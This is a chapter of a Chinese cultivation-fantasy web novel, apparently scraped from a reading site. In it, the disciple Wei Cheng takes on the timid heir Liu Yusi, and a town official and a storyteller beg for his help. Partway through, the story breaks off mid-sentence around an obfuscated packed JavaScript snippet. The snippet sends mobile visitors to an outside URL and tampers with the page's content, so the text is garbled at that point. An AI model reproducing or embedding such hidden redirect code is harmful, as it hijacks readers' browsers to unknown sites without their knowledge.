18. 拦路的仙 请愿的爷

作品:《我的大师姐是个人机

    出了这酒楼,钻进一道小巷。魏澄便立马把他身旁的柳欲思抓了过来,扯去了他脸上狰狞的易容术。


    不一会儿,一个清秀若山间精灵,眉眼弯弯如新月,眸色浅淡澄澈的小人儿便出现在魏澄的视线当中。他发梢还翘起一缕呆毛,看着乖巧可爱极了。任谁看了都要在心里叹一句,这又怎是斩妖除魔的修仙者,分明是从灵田里蹦出来的小仙苗。


    柳欲思被魏澄吓了一大跳,“公子……你这是在……”


    魏澄道:“你顶的这副皮相太招摇了,胆子又这么小,干嘛化作这副摸样?还平白唬住了好多凡人。”


    柳欲思道:“姑姑说我太懦弱了,得找点凶恶的相扮着才不会被人欺负。所以我就捏了个这样的脸……”


    魏澄听到这话,却是忍不住勾唇笑了出来,“表里不一,不是更会惹人欺负上你嘛?唉呀,小欲思……”


    “公子……我……”


    魏澄是云行一的徒儿,而柳欲思却是北遒剑阁的大少爷。真要按礼仪规数来说,还得是魏澄喊他一声柳少爷才对,毕竟凡人身份不作数,魏澄这太子身份,到了修真界也跟摆设似的,哪能跟修真世家相比。


    谁知道这北遒剑阁的大少爷不仅性格懦弱成这样,还不知身份轻重。既然人家不觉,那就欺负到底咯。


    柳欲思垂下头,有些着急。


    “这次我叔遣我下来锻炼,他喊我必须要做些成绩来给他,不然我就回不了家了,所以魏公子……魏兄……求求你,一定得帮帮我……”


    说着说着竟是要哭了似的,魏澄被他吓了一跳,连连退了三四尺,怕给人欺负上了。“帮归帮,你哭什么——”


    “不过是打两三只怪,降妖除魔的功夫,又不是甚么吃人的事儿,你一个剑阁大少爷,修为又高,你只管放宽心,冲上去一通乱砍就行了,再不济也有你家大人给你兜底。”


    说起来,缠上魏澄这事儿也不能怪人家柳欲思。这十多年以来,魏澄这般宗内宗外招摇,早就闹得修真界上下人尽皆知了。人人皆道云行一收了一个同他一般的云游弟子,每次在一地方歇息停留,便要惹出些传奇事迹出来,与他师尊是一个模子刻出来的一般。一会儿是他铲了人家千年桃树,一会儿是又扒了人家的上古秘辛什么的。是以柳欲思这才想起来找上他,人家年纪轻轻就是少年英俊翘楚,闯荡经验足。而他就占了个少年,长得又没魏兄英俊,光是想想就觉得自己没用极了。


    “可是……我姑姑已经把我的家族阵印给卸了……”


    柳家族亲规矩多,保命手段也多如牛毛,这家族族印就是柳氏族长北遒剑阁的阁主给柳家小辈的宗族信物之一,也是保命底牌,里头存了大乘期强者的一招二式,关键时刻能救上一命,卸了这柳氏阵印那无疑是卸了柳家宗人的身份跟庇佑。


    魏澄讶然,“你倒是真勇敢,失了这个都还敢出来求上我,就不怕我将你拐了。”


    不过这柳家是真狠啊,至少在魏澄印象里,北遒剑阁一直以来应当是一个比较宽容的门派,规矩也没衍天宗多。而且在这宗门里的人基本上是奔着习剑去的,道心至纯,很少祸及他人。


    而他在衍天宗过的这般肆意,还是因为受掌门枕风的直系师弟云行一的庇佑。一直以来,就算闯了多大的祸,都是大事化小小事化了,平日吊儿郎当的藏隋,真要罚起人来,可不是云行一念叨两句就完事儿的。所以这柳欲思,究竟是犯了什么震怒全族的事情,竟落得个这种下场,几乎是到了要被逐出家门的地步。


    也难怪这小子一而再而缠上他,看他这懦弱性格,也不像是能随便讹上人的样子,得亏是已至绝路,不得不行啊。


    原本以为路上顺手救了个无关紧要的人,这下子魏澄可得好好掂量掂量这其中门道了。


    “既如此,那你就先跟在我身边吧,不过你护身阵印没了,是生是死可得看你自己,真要到难了的时候,我可没时间顾上你。这边事成之后,要记得答应我的东西哦。”


    不过柳欲思修为比他还高些,应当也谈不上让他来救场什么的。比起这小子初时答应他的天华剑谱,他支付的代价简直不值一提,只不过是混迹潇湘地的时候带个跟班儿而已,上哪儿找这么划算的买卖啊。


    那边魏澄心里的小狐狸偷着笑,这边柳欲思就回,“嗯嗯,我明白公子,生死有命,公子能带上我……我就很感激了。那接下来……”


    “那当然是引蛇出洞了,”魏澄笑道,露出一枚细细的小虎牙。眨眼间,魏澄就化回了他自己的模样,那副粗糙的白色素衣便成了一袭月白色的长衫,看着也像极了修真的弟子,墨发半扎,由一袭玉冠束着。一双狭长的凤眸微缓,流转着几抹玩味跟笑意。眉目俊美之狭又掺着意气风发的稚嫩,当真是修真少年当如他是也。


    “等着,讲了坏处,接下来该讲讲好处了。”


    ……


    魏澄做了七年太子,又约莫算是做了十一年的衍天宗大师兄,享乐之道,早就精的不能再精,懂得不能再懂了。


    无他,只因他那大师姐,自从拜了师之后,便消失的无影无踪了。他还记得宗内传言传的飞起,都闹到他跟前了。具体讲了什么他倒是有些忘记,不过他还记得他屁颠屁颠地跑去问了他那不着调子的师尊,谁知师尊一仰天大笑,二拍肚打趣,三便憋出了一句:“修炼修炼,都给炼成屁了,这天底下哪能有那么传奇的一小孩,人言虽可畏,但有时却能滑稽成这样,着实好笑。”


    虽然后来魏澄这个小太子,用自己的行动告诉他,确实有这么个传奇的小孩,而且那便是他身边正瞪着一双单纯可爱,水灵灵大眼睛的弟子。但当时的云行一却觉得这传言多少太荒谬了些,都快把他师兄传成什么十恶不赦的大魔头,把明殷传成什么背负深沉的傲世天才了。


    “能有什么事,不过是你那晴梧婆婆带她出去历练历练,通通人性罢了。”


    通什么?通人性?


    魏澄抽了抽嘴角,难不成,他这大师姐其实不是人,而是鬼,是妖怪,是别的东西变的?


    他只记得他大师姐性子有些木讷较真,不懂人情世故,但这与她年纪尚轻,阅历浅显有关吧,也不至于是这种还需要专门出去历练的地步啊……


    人都走了,魏澄总不能真的追去说什么。虽说确实可惜,日后少了这么个有趣的同龄人,少了个好玩的伴儿,但之后魏澄自己就能找许多乐子,小孩子忘性也大,之后便很快就将这事儿抛在脑后了。


    说回现在。魏澄的大师姐兼宗主首徒出宗历练了去,这宗门弟子辈分最大的身份自然而然就落在了魏澄身上。大弟子听着长威风,又是大又是首的,但在别的宗门可是累死累活宛如大家长般的位置。师尊不管的闲杂事物都得大弟子管着,包括师弟师妹们的家长里短,口角矛盾,诸如此类,不胜枚举。又当爹又当妈,稍不注意就得累死。


    但魏澄凭着一张巧言令色的嘴,善使忽悠技术的本领,足够厚的脸皮和云行一的纵容,硬生生活成了宗内最幸福的弟子,没有之一。不仅吃喝玩乐都有人陪,就连擅自出宗这种得一罚罚连坐的事情,都有人里外呼应,等闹出事情了云行一就过去语之一二护他周全,好不快乐恣意,天涯任他行。


    正如现在。此时,魏柳二人在这略显偏远的富庶小镇,一张桌子就值五千两银子,人生地不熟的地方,都被奉为了座上宾,请至门前三两席饮茶吃酒,席间主人谄媚之色尽显。


    “敢问公子您,当真是那衍天宗的魏公子?”


    魏澄掀眸观座上老爷,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298681|181942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “君子一言,驷马难追。更何况修真之人,所言所行皆受天道束缚,岂能有假?”


    “贵府动作倒是快,我前脚刚给了人家当信物,后脚就给你们收走了。”


    那富态老爷见魏澄神色间似是有所不耐烦,急忙奉上姓名,“魏公子见笑了。鄙人姓聂,名致勤,是这擒松镇的一介小官。这般着急地将您请来,还是因为聂某这眉头确实马上让火烧了去,迫不得已,还望魏公子莫怪。”


    “既然已确认了您的身份,聂某便让人将玉佩送回去了。”


    魏澄只是品了品茶,一双骨节分明的手端着那紫砂做的茶杯,更显白皙玉嫩。


    “欸,送回去作甚……既然他帮了你将我请来,怎么说也得留下来好吃好喝供着吧。”


    魏澄一副看热闹不嫌事大的样子,说完还不忘在话末加个小勾子似的语气,果不其然便看见聂致勤抽搐的嘴角。


    说罢便见一个青衣儒风的老道走了出来,不是那说书人还能是谁。


    “好哇,我前脚刚把玉佩给你,你这老头后脚就把我俩卖了,完事了竟然还敢光明正大地出现在我面前,真是好生不要脸!”魏澄惊讶地指着他噫了一声,懊悔地拍了拍大腿,那两人顿时便黑了脸,站在魏澄身后的柳欲思吓得躲得远了些,口里还默念着柳家家规希望能长长自信。


    那说书人拳头捏的梆硬,正欲要发作,瞥见聂致勤的脸色,只得又吞下了喉中言语,闷着语气开口。“二位公子勿怪,实在是聂老爷乃我擒松镇顶好的官,老道愿……”


    魏澄打断了他,“行了,我管你这的那的,骗了我就是骗了我。我们年岁是轻,但别真以为我什么都不知道吧?今日我还差点让你酒楼老板给讹上,你说说,这该怎么赔我?”


    柳欲思见形势转移,便探出了点头来不一会儿便见那说书人面色隐忍,似是要行什么关乎人生的大事。然后便见他扑通一声跪在地上,吓得他又缩回了头去。“公子,您要杀要剐悉听尊便!但我擒松镇聂老爷这事儿,还恳请您出手一把,不然的话……”


    魏澄道:“不然什么……?”


    那说书人随即便豁出了一口气,“我……我知道一件关于遒凌宗主的事情!说不定……这正是您想知道的故事!”


    说书人语罢,只听一声载了怒气的语音,便被一旁的聂老爷吼了,“休得胡言!魏公子……他是急糊涂了……您不愿意帮也是小人机缘尽失,怪不得您,这厢是小人……”


    魏澄呵呵笑道:“所以你是想拿这个来威胁我?说书老头,先不说你在那酒楼堂前张口就来如何能得我信任,再说这天底下知道遒凌真尊的人多了去了,胡言乱语也是千千万万,我该如何信你?”


    那说书人眼前一亮,便直起了身子,“公子,您只管让天道与我们结誓便成,这厢肯定是假不了的,违背誓言者,当成九天玄电之罚,四海雷霆之怒,您信不过我,天道总不能不信吧?”


    魏澄刚想说,我确实不信这天道。但等他快速琢磨琢磨了他这誓言,心里便驽然一惊。这老头下的决心可是死的,经这雷一劈,就算是受天地法则庇佑的渡劫期,也注定是神魂尽碎,魂飞魄散。这么说看来他是真有点东西,也是真有信心,可是……


    魏澄还想提醒他一句,“你想好了?这誓言可只对你有效哦,别把我掺进来……”


    那聂老爷蹲下去扶他起来,魏澄只依依稀稀边听见他说对说书人什么拒绝的字眼,吵起来像只嗡嗡叫个不停的小虫子。


    说书人拂开了聂致勤的臂,只站起身信手拈来道:“这有何难?公子,我想好了。”


    “好!既然你决心这么坚定,那就报上自己的姓名。”


    “我叫仇惰,仇恨的仇,懈惰的惰。”


    ……